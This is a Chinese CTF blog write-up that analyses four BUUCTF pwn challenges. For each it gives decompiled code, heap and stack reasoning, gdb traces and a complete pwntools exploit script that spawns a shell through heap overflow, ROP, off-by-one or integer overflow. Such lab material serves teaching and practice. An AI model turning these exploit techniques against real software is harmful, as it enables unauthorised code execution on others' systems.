    p.recvuntil('Index :')
    p.sendline(str(idx))
add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x400D86))
#gdb.attach(p)
show(0)
p.interactive()

babyfengshui_33c3_2016

32位堆溢出

ios@ubuntu:~/APwn/buuctf$ checksec babyfengshui_33c3_2016
[*] '/home/ios/APwn/buuctf/babyfengshui_33c3_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000

ida 分析

void __cdecl __noreturn main()
{
  char v0; // [esp+3h] [ebp-15h]
  int v1; // [esp+4h] [ebp-14h]
  size_t v2; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x14u);
  while ( 1 )
  {
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    if ( __isoc99_scanf("%d", &v1) == -1 )
      break;
    if ( !v1 )
    {
      printf("size of description: ");
      __isoc99_scanf("%u%c", &v2, &v0);
      add(v2);
    }
    if ( v1 == 1 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      delete(v2);
    }
    if ( v1 == 2 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      show(v2);
    }
    if ( v1 == 3 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      get_context(v2); #update
    }
    if ( v1 == 4 )
    {
      puts("Bye");
      exit(0);
    }
    if ( (unsigned __int8)description_addr > 0x31u ) #检查添加了多少个description ,最多0x31{
      puts("maximum capacity exceeded, bye");
      exit(0);
    }
  }
  exit(1);
}
_DWORD *__cdecl add(size_t a1)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(a1);
  memset(s, 0, a1);
  #同等于一次 calloc(a1);

  v2 = malloc(0x80u);
  memset(v2, 0, 0x80u);
   #同等于一次 calloc(0x80);
  *v2 = s;
  ptr[(unsigned __int8)description_addr] = v2; 
  printf("name: ");
  fgets_con((char *)ptr[(unsigned __int8)description_addr] + 4, 0x7C);
  get_context(++description_addr - 1);
  return v2;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

alloc 与 malloc 的区别是 calloc 在分配后会自动进行清空

通过add可以知道

struct ptr{
    void *description_addr //4 size
    char[0x7c] name                    //0x7c size
}
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)description_addr && ptr[a1] )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 ) #此处的判断是为了防止溢出,条件为:判断我们输入的text_len要小于我们最开始输入的description size,否则就exit
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    fgets_con(*(char **)ptr[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

读入description的text内容,

我们再捋一下;首先输入的是description的size,然后读入的name 大小为0x7c,不存在溢出,接着输入text len,判断输入的text len 是否小于刚才输入的description size,满足则读入 。这里存在溢出,因为 可以绕过if条件,导致text处溢出。

利用思路

那这里该如何绕过呢?

如果我们add两次

add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')

此时的堆块应该是什么样子的呢?

0x80 0x80 0x80 0x80
aaaa bbbb cccc dddd

这里怎么理解 add这个操作呢?

首先 malloc时会在内存中查找是否有空闲堆块(free掉后的)如果没有则会开辟新空间,如果存在则从空闲堆块中取出,正常的两次add ,中间没有任何free 出现空闲堆块,所以 上图为 正常排布。

如果我们free掉1次呢?例如我们free(0)第一个堆块,则此时bins会空闲一个0x100(0x80+0x80)的unsorted bin,此时剩余

0x80 0x80
cccc dddd

如果我们再次add->会先在bin中查找是否有空闲的0x100size的堆块->发现存在 则分配掉(此时空闲就没了),因为0x100时之前分配的 地址也是之前free掉的 所以会出现

0x100 0x80 0x80
Test cccc dddd

0x100会在前半部分,接着会malloc(0x80)->发现没有空余就只能开辟新的,会出现

0x100 0x80 0x80 0x80
eeee cccc dddd ffff

if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )

如果不理解这个位置可以看一下这个图

gdb-peda$ heap
0x833a000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x89, 
  fd = 0x62626262, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x833a088 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x89, 
  fd = 0x833a008, 
  bk = 0x61616161, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x833a110 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20ef1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

此时的ptr[a1] - 4 就是 0x833a088-4(这是完整的一个堆块上一个位置), (char )(v3 + (_DWORD *)ptr[a1])就是我们输入text len后的长度计算出的地址 此时就是0x833a000+0x8(chunk head)+0x80(add的大小) ,简单理解就是我们输入的text len后计算出的地址要小于ptr[a1] - 4 ,

那上面的排布是怎么绕过这个的呢?

add(0x100,'eeee',0x19c,'ffff')

正常情况这个是要报错误的 ,这里可以思考下 此时写入的地址是哪里?0x100处也就是他先要计算0x833a000+0x100 与 最后一个堆块-4的地址比较 ,这个肯定是小于,为什么?中间还隔了2个0x80的chunk ,也就是我们最大可以读0x100+0x100的size才会大于后一个堆块-4,导致我们可以溢出原本0x100的堆块 description 向其他堆块写地址。我们覆盖到ptr[description_addr],也就是

0x833a088 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x89, 
  fd = 0x833a008, 
  bk = 0x61616161, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

覆盖掉这个堆块的fd,那printf(ptr[description_addr])时就会打印printf(free_got),接着在update 修改这个堆块,原本应该是修改ptr[description_addr]的内容,此时就会修改free_got处的内容,例如

修改前

gdb-peda$ x/wx 0xf7df7530
0xf7df7530 <__GI___libc_free>:    0xe71fe853
gdb-peda$ x/wx 0x804b010 #free got
0x804b010:    0xf7df7530
gdb-peda$

修改后

gdb-peda$ x/wx 0xf7e29db0
0xf7e29db0 <__libc_system>:    0x8b0cec83
gdb-peda$ x/wx 0x804b010 #free got
0x804b010:    0xf7e29db0
gdb-peda$

修改后为 system ,再次free 实质执行为system[ptr[description_addr]]

我们添加一个新堆块text内容为/bin/sh,就可以执行 system(“/bin/sh”)

exp

from pwn import *
context.log_level='debug'
p=process('./babyfengshui_33c3_2016')
elf=ELF('babyfengshui_33c3_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
free_got=elf.got['free']

def add(name_size,name,text_len,text):
    p.recvuntil('Action:')
    p.sendline('0')
    p.recvuntil('description:')
    p.sendline(str(name_size))
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('text length:')
    p.sendline(str(text_len))
    p.recvuntil('text:')
    p.sendline(text)
def dele(idx):
    p.recvuntil('Action:')
    p.sendline('1')
    p.recvuntil('index:')
    p.sendline(str(idx))
def show(idx):
    p.recvuntil('Action:')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(idx))
def edit(idx,text_len,text):
    p.recvuntil('Action:')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(idx))
    p.recvuntil('text length:')
    p.sendline(str(text_len))
    p.recvuntil('text:')
    p.sendline(text)
add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')
add(0x80,'cccc',0x80,'/bin/sh\x00/bin/sh\x00')
dele(0)
#dele(1)
add(0x100,'eeee',0x19c,'f'*0x190+p32(0)+p32(0x89)+p32(free_got))
show(1)
data=p.recvuntil('\xf7')
free=u32(data[-4:])
print hex(free)

system=free-libc.sym['free']+libc.sym['system']
edit(1,4,p32(system))
#gdb.attach(p)
dele(2)
p.interactive()

jarvisoj_level4

简单溢出+leak read

exp

from pwn import *
context.log_level='debug'
p=process('level4')
elf=ELF('level4')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
read_got=elf.got['read']
write_plt=elf.sym['write']
main=0x8048470
#gdb.attach(p)
payload='a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read=u32(p.recv(4))
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*0x8c+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()

vn_pwn_simpleHeap

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec vn_pwn_simpleHeap
[*] '/home/ios/APwn/buuctf/vn_pwn_simpleHeap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
ios@ubuntu:~/APwn/buuctf$

Full RELRO不能改got表,可以考虑改malloc_hook

题目分析

int add()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  v1 = check_chunk(); //检查是否申请满了
  if ( v1 == -1 )
    return puts("Full");
  printf("size?");
  result = reads();
  v2 = result;
  if ( result > 0 && result <= 0x6F )           // 限定你只能申请到fastbin
  {
    chunk_list[v1] = malloc(result);
    if ( !chunk_list[v1] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    size_list[v1] = v2; //输入的size放入size_list
    printf("content:");
    read(0, (void *)chunk_list[v1], size_list[v1]);// 往申请到的堆块中读取size大小的内容
    result = puts("Done!");
  }
  return result;
}

edit

int edite()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = reads();//读index
  if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
    exit(0);
  printf("content:");
  update(chunk_list[v1], size_list[v1]); //跟进
  return puts("Done!");
}

update

unsigned __int64 __fastcall update(__int64 a1, int a2)
{
  unsigned __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]
     //就是逐字读进去
  for ( i = 0; ; ++i ) 
  {
    result = i;
    if ( (int)i > a2 ) //漏洞在这里 因为从0开始 i=a2时会出现 多读入1字节 (正确写法应该是i>a2-1)
                                          //这也就是off by one 漏洞了
      break;
    if ( !read(0, (void *)((int)i + a1), 1uLL) )
      exit(0);
    if ( *(_BYTE *)((int)i + a1) == 10 )
    {
      result = (int)i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

delet

int delet()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = reads();
  if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
    exit(0);
  free((void *)chunk_list[v1]);
  chunk_list[v1] = 0LL;
  size_list[v1] = 0;
  return puts("Done!");
}

show

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = reads();
  if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
    exit(0);
  puts((const char *)chunk_list[v1]); //打印chunk_list[v1]
  return puts("Done!");
}

利用思路

这里推荐看一篇文章https://xz.aliyun.com/t/6559 ,基本就是这个思路了

通过堆分配对齐机制,使得第二个堆块鱼第一个堆块共用了堆头部分,接着通过溢出修改堆块大小,构造unsortedbin(方便泄漏libc),接着通过切割unsortedbin 申请到新的堆块且和被溢出的那个堆块在chunk_list中指向同一地址。通过free 新的 造成uaf 就可以控制fd了。修改fd为伪造的chunk地址 ,修改malloc_hook 即可。

首先是泄漏构造

from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(con)
def edit(idx,con):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(con)

def show(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(idx))
def dele(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(idx))
add(0x18,'aaaa')#0 这里就是利用对齐机制 方便写入到下面chunk的size
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3 防止topchunk 合并

edit(0,'a'*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1

dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)

edit(0,’a’*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1

gdb-peda$ p/x 0x71+0x71
$1 = 0xe2

所以写入大小为0xe1

接着delete1后可以可以看到

QQ20200828-232355@2x

接着只要申请1次 切割一半0x60 打印就可以泄漏libc了

QQ20200828-232628@2x

接着就是 构造uaf,申请剩余的一半chunk 此时2的地址和4指向同一个地方

因为 我们通过溢出修改了1的size导致free时把chunk2也处理了 但是 chunk_list中的2并没有清空(我们没通过正常free)所以如果在申请4 会出现 2 4指向同一个地址 这样 free掉4后就可以修改fastbin中的2的fd执行我们构造的fake_chunk


add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))
add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)

p.interactive()

fakechunk的构造 我们的目的是想办法分配到malloc_hook附近

QQ20200828-233634@2x

接着计算这个堆块的偏移 这里看你习惯 (能算出来这里就行2333)

gdb-peda$ p/x 0x7fb71a0e1b10-0x7fb71a0e1aed
$2 = 0x23

也就是malloc_hook-0x23的位置

接着就是修改2的fd微fake_chunk地址 导致bin里面的链表后衔接到这里

QQ20200828-234144@2x

接着add两次 就分配到了我们构造的fake_chunk中了

接着就可在0x13的偏移后写malloc_hook了,这里如果直接写one_gadget可能会失败 原因是不满足条件

这里也贴一个文章https://blog.csdn.net/Maxmalloc/article/details/102535427

然后我这里贴一张当前gadget的堆栈图

QQ20200828-234652@2x

这里调试就是在one_gadget处下断,然后你写到realloc_hook处 ,如何确定偏移?可以通过在此时查看堆栈排布 着NULL处然后计算差多少个0x8 少push 一次 降低0x8,进行调整即可

QQ20200828-234913@2x

EXP

from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(con)
def edit(idx,con):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(con)

def show(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(idx))
def dele(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(idx))
add(0x18,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3
edit(0,'a'*0x10+p64(0)+p8(0xe1))
dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)

add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))

add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
#gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)

p.interactive()

bjdctf_2020_babystack2

简单栈溢出 给了shell函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

问题比较明显 如果传入-1 则 可以绕过 if判断 且 在read时转成了无符号整型 存在整型溢出,可以读如非常大的字符串导致buf溢出 getshell

exp

from pwn import *
#p=process('bjdctf_2020_babystack2')
p=remote('node3.buuoj.cn',29730)
p.recvuntil(':')
p.sendline('-1')
baddoor=0x400726
p.recvuntil('?')
payload='a'*0x18+p64(baddoor)
p.sendline(payload)
p.interactive()
请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!